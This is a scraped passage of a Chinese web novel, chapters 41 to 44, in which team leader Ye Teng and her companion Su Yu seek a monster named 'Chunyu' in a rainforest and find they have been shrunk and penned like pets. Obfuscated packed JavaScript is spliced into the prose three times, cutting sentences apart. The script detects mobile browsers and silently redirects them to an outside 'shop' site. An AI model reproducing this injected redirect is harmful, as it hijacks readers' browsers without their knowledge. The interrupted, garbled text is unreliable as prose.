老板一出来就要打人,要打“山矾”,刘全惊恐地冲了出去,让老板打在了自己脸上。 老板和“山矾”都愣住了。 队员没有愣住,队员赶紧把老板绑了。 还有保安,动了老板,保安自然也来了,队员也绑上了。 为了告慰“山矾”的在天之灵,让她不要再下凡,队员很快手起刀落,没有把他们绑太久。 经营画舫之类的□□色情场所在古代是合法的,【侦查员】发现官兵已经赶来了,于是大家把官兵也杀了。 据说这件事情传到了上面,有人震怒之下派兵缴匪,还在古代的队员又把被派来的兵杀了,这些军队内部也有很多□□色情的事情,队员全部进行了解救并进行了心理健康方面的治疗。 然后朝廷开始给队员们封官了,有钱的队员变得更有钱了。 可是队员们觉得还不够,这样还不够告慰“山矾”的在天之灵。 为了“山矾”,为了不被泪水击杀,为了让这里不再有精神疾病,终于,有一天,有钱队员龙袍加身,开始爆肝皇帝的工作。 皇帝的工作实在是太肝了,有钱队员又建立了君主立宪制,进行一个摸鱼。 随着各式各样的发明创造被想要在古代摸鱼的另外的队员创造出来,社会很快又进入了资本主义时代。 有钱队员当即把“山矾”推上了总统竞选的讲台。 “山矾”现在年龄已经不小了。 41. 第 41 章 一个慈祥的老人站在讲台上,讲述起自己想要为国家做出些什么,想要改变这个世界上的什么事情。 不是想要改变队员们正在存活的生命状态真是太好了。 叶藤看到这里,也终于放心了。 本来觉得没有亲手杀掉“山矾”为一些朋友报仇有点遗憾,但是……就像有时候吧,看文看不到强制爱强取豪夺她觉得很遗憾,也不会去怪作者,只会像大多数人一样,想着要是现实里没有□□,或者是出现立马死刑,根本惊不起水花,那就不会有那么多人反感这种剧情,连写都不让写了。 终究是环境影响创作,环境影响人心,环境导致这样的情况层出不穷,先是最黄的内容不让写,再是变态一点的xp不让写,最后是连强制爱都不让写,显而易见,都是因为没有清除该死的犯罪分子的错。 所以,“山矾”会杀人,或者说,一个精神病患者会杀人,杀人的患者已经死了,没杀人的患者活着,这个时候想要报仇,就只能找那些让她遭受心理创伤的人了。 还好,那些人,包括“山矾”的父亲,现在心理创伤都已经比“春羽”更严重,真身也都被队员们捏在手里,再也掀不起风浪了。 不会有下一个“山矾”了。 她手边还有另一个事情要处理。 其实从理论上讲,她手里应该是可以一直有事情的。 叶藤这里算是一个,前方是洪水,后方是盆地的位置。 水给这里太多,盆地就会被淹没,水给太少,上游又会堵。 叶藤一直以来算是在勤勤恳恳地做着这个泄洪区的队长。 没人在意泄洪区的苦,因为前面都觉得还是洪水区更苦,后面都觉得,毫无疑问,强壮的成人没资格跟老人小孩比苦。 大家都觉得叶藤这里应该还是蛮轻松的。 实际上叶藤只能说她的工作时间很均匀,一年365天都在工作,不像前面的很多队伍可以在区域里没怪的时候放假休息,或者趁着叶藤这边有空余就把怪放到这里,自己去放假休息。 如果不是她家老人小孩也在盆地里住着,她就要闹了。 叶藤苦哈哈地打卡上班。 实际上她应该算是在打两份工,一份是当队长,另一份是在现代摸鱼。 当本职工作是007制度的时候,兼职即使是可以摸鱼的工作也很烦。 叶藤闷头摸了一会儿鱼,郁闷地看向了今天真正要干的工作。 新的怪物名叫“春羽”。 没有人知道“春羽”想要什么,没有人知道“春羽”是从哪里出现的,甚至很少有人能听懂“春羽”在说什么,因为“春羽”是个外国人。 大家只是因为他在的地方总是会长很多“春羽”,所以就叫他“春羽”。 是个外国古人,貌似是非洲古人,这下比起中国古人更完蛋了,甚至比欧美古人还完蛋,欧洲中世纪游戏叶藤好歹还打过一点,非洲古代她是完全不了解的。 但愿不是又要救人,能直接杀就尽量直接杀吧,她这里没有那么多精通非洲古典语言的心理医生。 由于语言隔阂,目前大家对“春羽”的了解极少,而且暂时“春羽”在这里也没有表现出太强的攻击性,很多人认为可以放松一点,不用太过紧张,大家最近都打算在主业上摸摸鱼。 然而前方传来的情报是“春羽”的攻击性并不比“山矾”低。 听起来有点让人绝望,应付“春羽”都已经让大家绞尽脑汁也死了很多队员了,虽然东45区从来不缺新队员,但是一直这样换人,队员们相互之间总是缺乏羁绊,她这个队长很难做啊。 叶藤叹了口气,继续浏览app上的信息。 至今她也不知道要去哪里找到“春羽”,app上关于“春羽”的信息实在是太少了,不够支持她去见“春羽”。 浏览了一会儿,叶藤突然感觉有些不对劲。 一个人看起来很没有攻击性,或者说在别人的八卦当中,作为一个怪物,居然能被传为没有攻击性,本来就是一种攻击性的展现吧? 她周围的空间开始了波动。 叶藤继续思考。 没有人被杀害,会不会其实是没有人在和“春羽”发生冲突以后,还能有继续发送消息的时间呢? 她身前出现了一道十分清晰的大门。 叶藤停止了思索。 她不想去见一个发生了冲突连发通讯的机会都没有的残忍的怪物。 她就这样放着门在旁边,自己在办公室里摸鱼打游戏,点外卖。 游戏第一周目的时候,门在她旁边一直亮着。 第二周目的时候,门还在她旁边一直亮着。 三周目了,不知道吃了多少份外卖,门一直在她旁边发光,让她觉也睡不好,饭也吃不香。 叶藤打开通讯器,又搜索起了“春羽”的相关消息。 没有新消息。 她搜索起了队员人数。 人数少了两百。 一直有人在加入的东45区人数少了五分之一。 叶藤咽了口口水。 必须动身了。 她试着联系苏宇,苏宇最近很有空闲,据说是因为她还留在山矾的时代,她每天的工作就是时不时去议会上站一会儿,表达一下自己的不臣之心,就可以安定民心了。 苏宇对于自己被这样利用不是很甘心,虽然给的钱很多,虽然她在山矾那里日子过得很好,虽然这份工作极大地发挥出了她的才华创造了极大的价值,好吧其实她还是比较认可这份工作的,不然她早就走了。 这份工作是议会开的时候她才参与一下,平时都很闲,叶藤一叫她她就来了。 她一来,叶藤就开始跟她说“春羽”的坏话。 苏宇浅浅思考了一下:“我看app上都说‘春羽’人不错不用管啊,说不定是外面有人跟他有私人恩怨,其实‘春羽’是个好怪物呢?就像很多小说里写的那样,妖怪也不一定是坏的嘛。” 可是“春羽”已经杀了东45区起码五分之一的人了。 叶藤想要直接告诉苏宇这个真相,又担心苏宇听到真相就不愿意跟她去见“春羽”了,毕竟这个攻击性听起来太恐怖了。 可是不能激发苏宇对“春羽”的仇恨的话,带苏宇过去就是纯送菜的。 那要不带刘全?可是她自己攻击性不够,到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459131|201263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候很难把刘全控制住按在那里当盾牌,而且她免疫高频噪音的防御力也很不足,想来想去,还是只有找苏宇。 叶藤沉思片刻,想到了一个办法。 她直接给苏宇看了“春羽”的照片。 看到“春羽”的照片的那一刻,苏宇的表情有强烈的不适。 因为“春羽”长得不好看。 他是那种很不符合现代审美的不好看,苏宇觉得他长得有点像黑猩猩。 他周围总是有很多热带植物,所以看起来更像是穿着衣服的黑猩猩了。 叶藤感觉她已经成功引发了苏宇对“春羽”的仇恨。 那一扇门一直就在她旁边发光,叶藤当即推开了门。 门外是一片热带雨林。 “春羽”暂时不在这里,怪物的移动速度总是很快的。 苏宇已经习惯了四处穿梭,她到了地方就开始四处寻找能够藏身的地方,还真让她找到了一处洞穴。 洞穴里有柴火,有兽皮,甚至有看起来像床的东西。 苏宇陷入了沉思。 叶藤也陷入了沉思。 这个地方,看起来不太像是非洲古代。 它更像是非洲原始人居住的地方。 所以她们是穿梭到原始社会了吗? 只是因为吐槽了一下“春羽”长得好像大猩猩就来到原始社会了吗? 不甘心的苏宇怒锤一拳大树,大树纹丝不动。 苏宇悲愤地揉了揉自己痛得要死的手。 叶藤退出了洞穴。 不能随便闯入别人的房屋,叶藤还是懂得这个道理的,何况这里有可能是怪物的房屋。 “往好处想,可能只是‘春羽’自己喜欢离群索居,我们来到的说不定并不是原始社会呢?” “好吧,那我们再走走看。” 叶藤拿出了指南针,还有车。 没想到还能拿出车。 苏宇抽了抽嘴角:“现代?” 叶藤点了点头:“看来是现代。” 两个人上了车,试图打开导航,导航说是信号失灵,指南针也没效果。 叶藤还是开起了车。 总比用脚跑好吧。 叶藤和苏宇开始在这片热带雨林里打转。 两个人带了充足的食物,就算没有充足的食物,她们也不会被饿死,于是就这样有精力就开车,没精力就停车。 她们在热带雨林里住了很久,苏宇都学会在热带雨林里开越野车了,还没开出这片热带雨林。 倒是实验出了很多很奇怪的食谱,热带雨林里的食材真是异常丰富,而且很神奇的是这里竟然还有家猪家鸡给她们补充肉类。 就连湖里都有三文鱼,真不可思议。 “难道我们要在这里过一辈子吗?”苏宇晚上看着星星问叶藤。 叶藤看着星星,思绪飘向远方:“其实,会不会,我们已经死了,现在的一切都只是我们的幻想?” “我为什么要幻想跟你一起死?” “因为我是你们最可靠的队长,不幻想跟我一起死要幻想跟谁一起死?” 苏宇切了一声:“算了,不死了。” 42. 第 42 章 说起跟谁一起死这种事,叶藤偶尔也会想到这个问题。 她觉得她还是一个人去死比较好,不要跟谁一起死,新社会已经不搞殉葬了,她不要给人殉葬,也不打算让别人给她殉葬。 不过在世界陷入疯狂以后,面对过各种各样的情况,她也想过万一有人刚好跟她同时去死,但是她想来想去还是觉得不太可能,比如如果她和另一个人同时快要被斩首,她觉得很有可能刽子手会更倾向于让她看完对方的惨状再剁了她,或者先剁了她让对方看到她的惨状。 在不知道自己不会饿死以前,她也幻想过她说不定会和队友一起流落到没有食物的地方,然后到了两人都饿到极点以后,她跟队友就会展开一场激励人心的二人PK,赢家可以把对方的大腿肉割下来烤了吃。 现在,附近没有刽子手,她的肚子也饱饱的,苏宇开始跟她说她们会不会已经死了。 如果真的已经死了,她没看到苏宇怎么死的,那要么是她先死了,要么是她俩一起死了。 总之想起来就都很不妙,真是一种非常糟糕需要去去晦气的想法。 太阳能板在她们旁边勤勤恳恳地工作着,苏宇收起了一些,折叠了起来,她叹了口气:“这日子什么时候是个头啊,我天天让朋友给我传小说过来,什么时候我才能自己去网上看小说啊,要无聊死了。” “你之前在古代不是也没有小说看吗?” “但是有热闹可以凑啊。” 而且还都是长得很好看的人的热闹,虽然山矾说要让所有人有平等的权力,不能歧视丑陋的人,但是人往往就是会歧视丑陋的人,所以苏宇只要在任何一行站到高处,就会比较少看到丑陋的人。 不过因为苏宇是【一黑顶十粉】,山矾的平等政策基本上还是实施下来了,而且每次有美人犯事被苏宇看见过不了多久家里就会很容易突然出事,所以其实那边很多人认为苏宇讨厌美人来着。 叶藤怀疑再过一段时间,苏宇真的就会拥有【一粉顶十黑】的身份了。 说起来,其实对于她们来说,最麻烦的一点还是,除了最开始那个洞穴,别的地方,她们完全没找到任何人类的踪迹。 前几天还看到了豹群,还好车子耐造,叶藤对着外面的豹子们尬笑了一阵,豹子发觉怎么都啃不开车,只好自己掉头走了。 虽然她们现在也不是很像人类了,但是这里实在不是人住的地方啊。 第二天早上,叶藤在车上醒来,前座的苏宇正在慢悠悠地开车慢悠悠地做标记,开快车是没什么用的,还费油费电,在发现不可能直接一口气沿着一个方向把车开出去以后,她们就一直是慢吞吞地开车,慢吞吞地做标记,慢吞吞地画地图。 还好有地图,在古代叶藤都能找到路,在现代,区区一片热带雨林。 就是这片热带雨林有点大这点很烦。 又慢慢开车十来天车,叶藤开始感觉不对劲了。 算上总共的时间,她们已经在这里开了一个月的车了。 虽然开一个月的慢吞吞的车可能也不算是走了很远,但是开车好歹还是比人走路快的,而且她们还是两个人轮流开车。 实际上应该可以算是,一个人的话,应该是走路也算是走了两个月了,徒步也该走出去了。 叶藤翻了翻地图,看了看标记。 地图上画得清清楚楚,这一路她们都没有走错,没有绕回去。 仍在行驶的车也足以证明她确实是身处现代。 这么说,难道是,都市传说?不对,按照她现在的位置,应该是热带雨林传说。 苏宇探个头过来看了看地图,她开始思考:“这会不会是鬼打墙?” “鬼打墙应该会让我们走回头路,那地图上应该会有重复的路线,”叶藤在地图上划出了她们一路走来的路线:“我们走过的路都是不一样的。” 苏宇垂头丧气:“就这样还不如直接在那个洞穴里守着呢。” 说不定直接就见到“春羽”解决问题了。 叶藤思索片刻:“好,我们回去吧。” “欸?” 叶藤把地图放在车机前面:“也没有其它办法了。” 苏宇抽了抽嘴角:“你不是【巫祝】吗?你不能试试解开这个森林的封印什么的吗?” “你奇幻小说看多了吧,我只是个现代社会里负责看庙的普通人而已啊。” “世界都承认你是【巫祝】,你不试试怎么知道你解不开封印?” “我怎么试嘛?” “我想想,”苏宇开始思考自己看过的奇幻小说:“你可以试试滴血认亲,啊不,认主。” 叶藤看了她一会儿,决定试试。 反正折返回去到那个洞穴里说不定也会看到“春羽”然后流很多血,要是在这里滴一滴血就能避免那种情况,那还是很值得的。 她先是像看过的影视片段里那样咬了自己的手指一口,结果因为她根本不敢用力,一滴血都没有咬出来。 那只能用刀切一道口子了。 叶藤闭上了眼睛,慢慢地用刀切。 苏宇突然提醒:“车上有酒精的啊,好像有点麻醉效果?” 叶藤凝住了。 这个时候凝住已经晚了,血流了出来,不过她没想到伤口居然不是很疼。 就还好吧,第一次滴血认亲,哦不,认主。 还是不要有第二次了比较好。 叶藤滴了一滴血到草地上。 看起来没什么变化,没有任何花花草草认她为主。 浪费了几滴血,叶藤跺了跺脚,颓然地回到了车上。 苏宇观察了一会儿,发现叶藤的血好像还是有点效果的。 被血溅到的植物都死了,但是她也不确定是不是被叶藤踩死的。 两人还是只能原路开回洞穴。 速度拉满,很快就开回去了。 洞穴里有明亮的火光。 “春羽”应该就在里面了。 现在是轮到苏宇开车,叶藤在睡觉,苏宇关掉了车内的光源,缩在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459132|201263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洞穴旁边的一处转角。 她想等着叶藤睡醒以后两个人一起商量商量。 有时候她会觉得人必须要睡觉这种事情很烦,虽然她现在也是可以不睡觉的,但是不睡觉就会精力低下记忆障碍变成弱智,于是她只好尽可能每天去睡觉,不能潇潇洒洒地活成仙人。 她觉得她帮助过那么多人,拯救了那么多次这个世界,积攒了那么多功德,早就应该得道飞升了,结果现在居然还在这里,在这个除了她们两个人以外连半个人影子都看不到地方受折磨。 苏宇越想越难受。 她摸了摸自己的口袋,没找到烟,在车里吸烟还可能被打,她被队友打过好几次,本来也快要戒掉烟了。 不对,她已经戒烟一年了。 为什么她还会想要抽烟?这种事情,比这更惨的日子她过得多了去了,在热带雨林里她可是天天吃好喝好睡好还能享受大自然的好的,减轻了很多压力。 虽然她经常跟叶藤抱怨这里的生活,实际上她在这里呆得还挺高兴的。 没错,她一直很高兴,那个不高兴的家伙,根本不是她! 苏宇坚定地抬起头。 她看见车窗前出现了一张脸。 那是一张颠倒的脸,脸皮和脸似乎并不是连接在一起,眼白和瞳孔也颠倒了颜色,他咧开嘴,长长的一条缝裂到了耳边。 它突然出现在车前,苏宇毫不犹豫地开车往前撞。 脸离开了。 是“春羽”吗? 叶藤醒过来以后就开始琢磨行车记录仪上的影像。 苏宇已经睡着了,一点小场面不至于让她睡不着。 叶藤看了一会儿,没看出什么东西。 脸被撞了以后也没有流血,只是就那样消失了。 这张脸长得并不像是“春羽”,虽然它看起来很奇怪,但是,总的来说,“春羽”长得像原始人,而行车记录仪里这张脸如果发挥正常,不要咧嘴,眼睛颜色也不要改七改八,那还是挺现代的。 叶藤觉得它应该只是附近的不知名小怪,有大怪物在的地方,小怪总是要更多一点。 苏宇醒来的时候叶藤还没睡。 一天二十四个小时,而成年人只需要睡八个小时,她们每天都有很多时间可以一起商量。 还可以跟app里的队友一起商量。 没信号是现代网络没信号,叶藤和苏宇的疯狂app里信号好得很。 虽然但是,通常情况下,叶藤也已经习惯了,其实,商量根本没有任何作用。 只会挨骂这样子,大概。 没什么羁绊的队友也不会太信任她,很多消息,告诉她的都是假的,有时候反着听反而能弄对更多事情。 不过叶藤用这个app用得久了,也有了一些自己的经验,比如,如果现在队友们的数量没有降低,自己看起来又像是在怪物的老巢里,周围也没有人,阿不,有个苏宇,反正就是只有她们两个人,那应该确实就是只有她们两个人在怪物的老巢里没错。 43. 第 43 章 人在过得很糟糕的时候,往往会发现更多很糟糕的消息。 但是这并不意味着人在过得不糟糕的时候,就不会发现很多很糟糕的消息。 对于现在的叶藤来说,没有比她找对地方了更糟糕的消息。 因为没什么羁绊,所以她会更喜欢这种情况发生在她的队友身上,尤其是发生在下任队友身上,那简直是好到不能再好的好消息。 然而现在这件事情就这么发生在她身上了,她不满也没有用。 苏宇也很不满,她有点想下车了。 她想去弄点好吃的,最近天天都有好吃的,她已经习惯了每天去弄点好吃的。 叶藤觉得苏宇这样做是在作死,苏宇想了想,还是没下车。 她想到了一个计策:“我们摇点人过来吧。” “我已经被大多数人屏蔽了。” “为什么屏蔽你?” “他们说我发现线索的速度太快了,还到处乱发。” 苏宇没觉得叶藤发现线索的速度很快,不过她也能理解为什么很多队友都不爱搭理叶藤。 上次跟着去一趟博物馆就被集体拉到“山矾”的区域去建房子的回忆她还历历在目。 说起来这次好像也是,她就这样被叶藤拉来找“春羽”了…… 苏宇警觉了起来。 不行,原来她身边是前狼后虎,旁边坐着一个危险的随时把人带到怪物面前的叶藤,外面有个大怪物“春羽”,她在这里举目无亲无依无靠,不能这样,她得找个人救她。 苏宇悄悄地打开了通讯器,悄悄地发布了一些关于“春羽”的线索。 要不要屏蔽叶藤? 反正等会儿人来了叶藤也会看到,就不屏蔽了。 苏宇关闭通讯器,静静等待。 等待了一会儿,苏宇发觉竟然没有人来。 为什么不来?她线索都发出去了啊,看到了就会被动过来的啊?就算有再强大的意志力再不想过来也不可能会像番剧里地中二少年一样嗷嗷嗷大叫几声就不用过来了啊。 苏宇打开通讯器看了几眼。 她从海量辱骂中找到了几条有用的信息。 哦,原来如此,她对“春羽”还是不够了解。 她不是连“春羽”的照片,连“春羽”的地址都了解了吗?还有什么不够了解的? 她私信了这几个队友,有人很快给出了回复。 “你知道‘春羽’的战斗力大概在什么范围里吗?” 苏宇完全不知道。 她只知道她没有战斗力,叶藤可能稍微有一点点……啊不对,她们有枪。 但是很多怪物都可以穿透子弹,也不知道有枪对这里的怪物有没有用。 苏宇决定问问叶藤是怎么看待“春羽”的战斗力的。 叶藤正在啃刚刚在车上低温加热的披萨,听到苏宇这么问,她顿了一下。 非常可疑,叶藤居然会被打断吃饭,她居然在吃饭的时候顿了一下。 苏宇明白了:“‘春羽’的战斗力很强?” 叶藤讪笑了一下:“前面的队伍不是已经说过了吗?‘春羽’比山矾更强。” 苏宇深吸一口气:“前面的队伍有没有说过‘春羽’的战斗力强在哪里?” “没人知道‘春羽’的战斗力强在哪里。” 苏宇坐在椅子上不说话了。 她很愤怒,很生气,她知道在她的激愤之下,【一黑顶十粉】可能反而会会给叶藤带来一些帮助,但她还是非常生气,完全控制不住地非常生气。 叶藤老老实实地把自己掌握的信息全部交代了出来:“在上个月,我们小队已经因为‘春羽’的原因,减少了五分之一的人数。” 苏宇:“你怎么不早说?” “我觉得你应该也有所准备——” 叶藤被抓了起来。 苏宇看见了抓起叶藤的“春羽”。 真实的“春羽”不像“山矾”那样,“春羽”是一个显而易见的怪物。 它非常高大,远比人类巨大。 叶藤被“春羽”珍而重之地捧了起来,放在嘴边亲吻。 叶藤在用力推“春羽”的嘴,但是一点用都没有。 “春羽”把叶藤亲来亲去,舔来舔去,最后把她放进了洞穴里。 “春羽”自己没有进洞穴,它趴在洞穴外看着叶藤。 叶藤完全麻爪了。 之前“春羽”把她捧起来的时候,捧得太快,她脑压就有点受不了,“春羽”还把她亲来亲去,亲得她满脸都是青肿的。 大脑缺氧的叶藤默默想着,要是能滴血认亲,哦不,认主就好了,如果她有那种能力就好了。 叶藤闭上眼睛在洞穴里眯了一会儿,再睁开眼,就发现苏宇也进来了。 还跟她一样肿一样懵,显然是遭受了一样的虐待。 热带雨林里热得出奇,离开车没过多久,叶藤就感觉热得受不了了。 难道说,她真的要跟苏宇一起死在这里了吗? “春羽”似乎也观察到了她们的衰弱,它的大手伸了进来,一下一下地抚摸着她们。 “春羽”的手是凉的。 叶藤忍不住保住了“春羽”的手指,然后她就听到洞穴外传来了压抑不住的得意笑声。 叶藤心情不是很好。 苏宇也是一脸一言难尽的表情。 她们都觉得这个“春羽”有点像变态,就算不能和“春羽”进行语言交流,她们也可以从“春羽”鲜明的举动中,感受到“春羽”完全就是个变态。 苏宇拿起通讯器,打算把这边的信息发出去,顺便摇人。 她刚拿出通讯器,通讯器就被“春羽”抢走了。 然后“春羽”还把她们抓起来抖了抖,把她身上的一些小饰品抖了出去,叶藤没什么东西被抖出去,通讯器被她捆在怀里,怎么抖都抖不掉的。 被抖了个干净的苏宇有点失落。 叶藤拍了拍她的肩膀安慰她:“会过去的。” 苏宇躲开她的手:“别拍了,都已经肿了。” 因为是肿的,所以被拍起来特别痛。 叶藤收回了手,看向洞穴外,洞穴外的“春羽”还在看着她们。 “春羽”虽然是兽形,但是看它的眼神,似乎还有一点人的灵性,不像之前碰到那个小怪一样,完全无法沟通。 叶藤觉得说不定还是可 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苏宇看见叶藤一会儿睁大眼睛,一会儿眯住眼睛,一会儿斜着眼睛,她怀疑叶藤脑子已经被打傻了,脑浆已经被摇匀了。 “春羽”走了。 洞穴门口之前一直被“春羽”堵着,现在“春羽”走了,外面的阳光照了进来。 热。 苏宇拖着青肿的身体试图和洞穴里另一个热源拉开距离。 虽然两个人都很慊对方身上热,但是还是没能拉开多少距离。 叶藤身上开始流汗了,她之前吃的披萨里有很多佐料,当然也包括很多盐。 现在她的感觉就很像是伤口上被撒了盐。 苏宇小声开口:“我感觉我们会被蒸熟。” “热带雨林不应该这么热吧?”叶藤叹气。 “毕竟是怪物周围的区域。” “得想办法回到车上。” “不可能了。” 苏宇左右看了看,看到了一本书。 不知道是谁留下的书,很薄,看封面应该是一本杂志。 看起来可以撕成两半,一人手里拿一半,用来扇风。 就是距离她们有点远。 苏宇问叶藤:“你有没有什么恢复技能?” “我有一个可以送人升天的技能。” 苏宇觉得叶藤热得都开始说胡话了。 叶藤说了这样的胡话以后,就没有再说话了。 苏宇也觉得她不应该再说话了。 她开始口渴了。 她甚至有点开始期待“春羽”回来了。 “春羽”的手指是冰凉的,可以让她感受到难得的凉爽。 “春羽”的汗液是香甜的,可以让她缓解越来越干咳的喉咙。 “春羽”……像妈妈一样…… 苏宇的眼神越来越恍惚…… 突然,她想到了一些事情,整个人如遭雷劈一般,不顾身上的青肿,一下子坐了起来。 不行,“春羽”是丑的!!! 44. 第 44 章 抱着“春羽”实在是太丑了的信念,苏宇拖着叶藤回到了开着空调的车上。 叶藤狠狠呼吸了几口清凉的空气,把小冰箱里的冰水也拿出来狠狠地喝了一大口,终于缓了过来。 苏宇的身体已经差不多恢复过来了。 没想到【一黑顶十粉】还能有这样的作用,叶藤把通讯器拿了出来,交给了苏宇拿去登录。 苏宇这次摇到人了。 对方过来的人都很不愿意过来,但是苏宇确实摇到人了。 刘全来了,【宠物美容师】也来了。 叶藤让【宠物美容师】给刘全做了个造型,这个时候刘全还并不知道一些事情,美滋滋地让【宠物美容师】给他做了个免费的可爱造型。 【宠物美容师】虽然对于怎么给人形宠物做造型这件事一无所知,但是没有关系,她做了就会有buff,她给任何带有生命的物体做了美容以后,对方都会有一个【可爱到满大街的饲主都走不动路】buff。 【宠物美容师】之前一直是以为这种技能没什么作用的,没想到现在还能派上用场,虽然她也不清楚这是什么用场。 难道说,这里接下要要进行什么邪恶的交易?也许她做完美容就应该尽快退场离开……不过她本来好像就也没有离邪恶很远。 非常可爱的刘全就这样被塑造了出来。 叶藤没有宠物,苏宇也没有,所以只有【宠物美容师】被可爱到走不动了。 还好,因为人多,所以带的车也多了许多,有人带的是房车,【宠物美容师】可以在车上享受大单间吹空调,走不动路就走不动路。 叶藤和队员们静静坐在车上等待着“春羽”回来。 “春羽”一直没有出现。 队员们已经把这里当作成了露营地在进行野炊,【宠物美容师】也已经在【康复师】的理疗下拥有了对非常可爱的刘全的抗性,她和刘全一个在最北边露营,一个在最南边露营,互不打扰,偶尔过来恢复一下造型。 叶藤的零食准备得足够多,背包格子里还有很多很多食物,她曾经以为自己会被饿死,准备了很多粮食,后来发现自己饿不死,她就开始奢侈起来了,不止会准备热量爆炸的粮食了,她囤了大量的低脂高蛋白,所以现在可以随便烤肉涮肉,还有【黄金大厨】露一手给大家弄好吃的。 甚至,时间久了,还有人在这里播放起了电影。 热带雨林都通上电了,哦不,好像一开始就是通电的。 比起电影,也许真正更大的变化是,有人开始砌墙了。 又过几天,墙砌好了一圈,里面的空调也全部安装完毕,所有室内位置空调覆盖,房间里有很多常见的家电,每个人都有独立卧室,附带卫生间和厨房阳台,叶藤突然意识到,也许大家现在在热带雨林是建立了一个基地了。 基地都建完了“春羽”怎么还不来? 难道说“春羽”一开始就是想把她们放在那里热死,其实并没有很想养她们的意思?并不是她们以为的那样,“春羽”并没有把她们当成宠物?它不是那种变态博主一样的怪物? 那很尴尬欸,刘全都已经做了这么多天的可爱造型了。 叶藤有点心虚。 “我出去走走。”她打算一个人出去看看。 苏宇隐约感觉到了叶藤在心虚,她觉得叶藤可能又要动什么歪心思,立马跟了上来:“我也一起走走。” 有人注意到她俩都想走走,干脆也过来一起走。 于是叶藤开着车带走了六个人。 六个人在车上聊天唱歌,像猴子一样大叫,叶藤闷头开车不去理会。 终于有人注意到了叶藤的沉默,苏宇问了一句:“你在想什么?” “我当然是在想那个问题。” “什么问题?” “‘春羽’哪去了。” 说着说着,叶藤注意到前方出现了异常。 一样原本不可能存在于这里的东西就这样摆在了她面前。 苏宇也注意到了:“这是,围栏?” 那是一个巨大的围栏。 叶藤看着围栏外面高大的巨人们,突然意识到了一件事。 也许,并不是“春羽”很大,是她变得太小了。 车也变小了,所以才会明明在现代,但是开那么久的车也开不出这片热带雨林。 这片热带雨林里的植物也很小…… “春羽”们站在围栏边,围栏外种植着一大片春羽。 是和它们一样大的春羽。 外面还有各种小摊贩,都是“春羽”在经营,叶藤听到了“春羽”之间温和的交流声。 有距离围栏特别近的“春羽”朝她伸出手,像是想要逗一逗她。 之前这里本来是没有围栏的,叶藤是按照地图过来的。 也就是说,这个围栏是最近装上的,就在这段时间,在那个“春羽”把她和苏宇一起RUA了一顿以后。 叶藤低下头,把车开了回去。 回去的路上,所有人都很沉默。 基地的人看到回来的人的脸色,也都感觉有些不妙。 叶藤告诉了队员们她看见的情况。 大家住在这里每天勤勤勉勉干活,把围墙修得厚厚实实,以为就算在末世也可以抵御任何天灾。 结果,现在,只是围栏外的“春羽”,就已经足够敲碎众人的信心。 “春羽”只需要用一点工具,或者只需要拿上一块大石头,往基地轻轻一敲,大家这段时间以来的努力就会变得像个笑话。 也许在“春羽”们眼里,这里的所有人,本来就都是笑话。 叶藤悲观地关上了自己的卧室门。 然后她突然就不悲观了。 她突然很有精神了,有力量可以吃很多饭了,还可以拿出通讯器问大家都怎么了。 很多人都表现出了跟她一样的症状。 奇怪,叶藤想不通这是怎么回事。 苏宇想到了。 苏宇想到了她觉得很糟糕的那个瞬间。 但是只有这两个场景,仍然分析不出什么。 叶藤放下了这件事,在卧室里睡了一觉。 一觉醒来以后,她就有很多场景可以分析了。 所有人都发现,只要出门,大家就瞬间都会觉得天塌了。 只要宅在家里,就还可以继续唱歌打游戏看小说。 出门会遇到什么? 热带雨林?每天都在看。 队友?每天都在相处。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459134|201263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “春羽”们的围观注视?之前应该也每天都——不对! 之前虽然每天都在被“春羽”们围观注视,但是没有人知道“春羽”在看着。 那么,只要呆在能够隔绝“春羽”视线的空间里,或者只是她自己认为能够隔绝“春羽”视线的空间里,她就不会进入悲观状态。 但是,不得不说,悲观状态下的她的思考有时候就还蛮有道理的。 比如,她觉得“春羽”只要来一石块,一板砖,基地就会崩塌,或者也说不定“春羽”可以直接掀开天花板来看她。 叶藤感觉到头顶变亮了。 她抬头一看,看见了一个巨大的手指。 “春羽”掀开了天花板,一个巨大的眼睛凑了过来。 叶藤感觉不到光了。 她身前是简陋的露营装备,身后是可笑的简易设施,而她是一个显而易见可以任由“春羽”蹂躏的迷你人。 她感觉她仿佛听到了“春羽”的嘲笑声。 好像不是嘲笑声,“春羽”叫得很大声。 她头上的“春羽”走了,临走前没忘给她盖上天花板。 叶藤赶紧凑到窗户上去看外面发生了什么。 她看到刘全被抓起来了。 刘全受到了惨绝人寰的对待,他不只是被RUA来RUA去,他好像被当成了捏捏。 捏不死的刘全一直在惨叫。 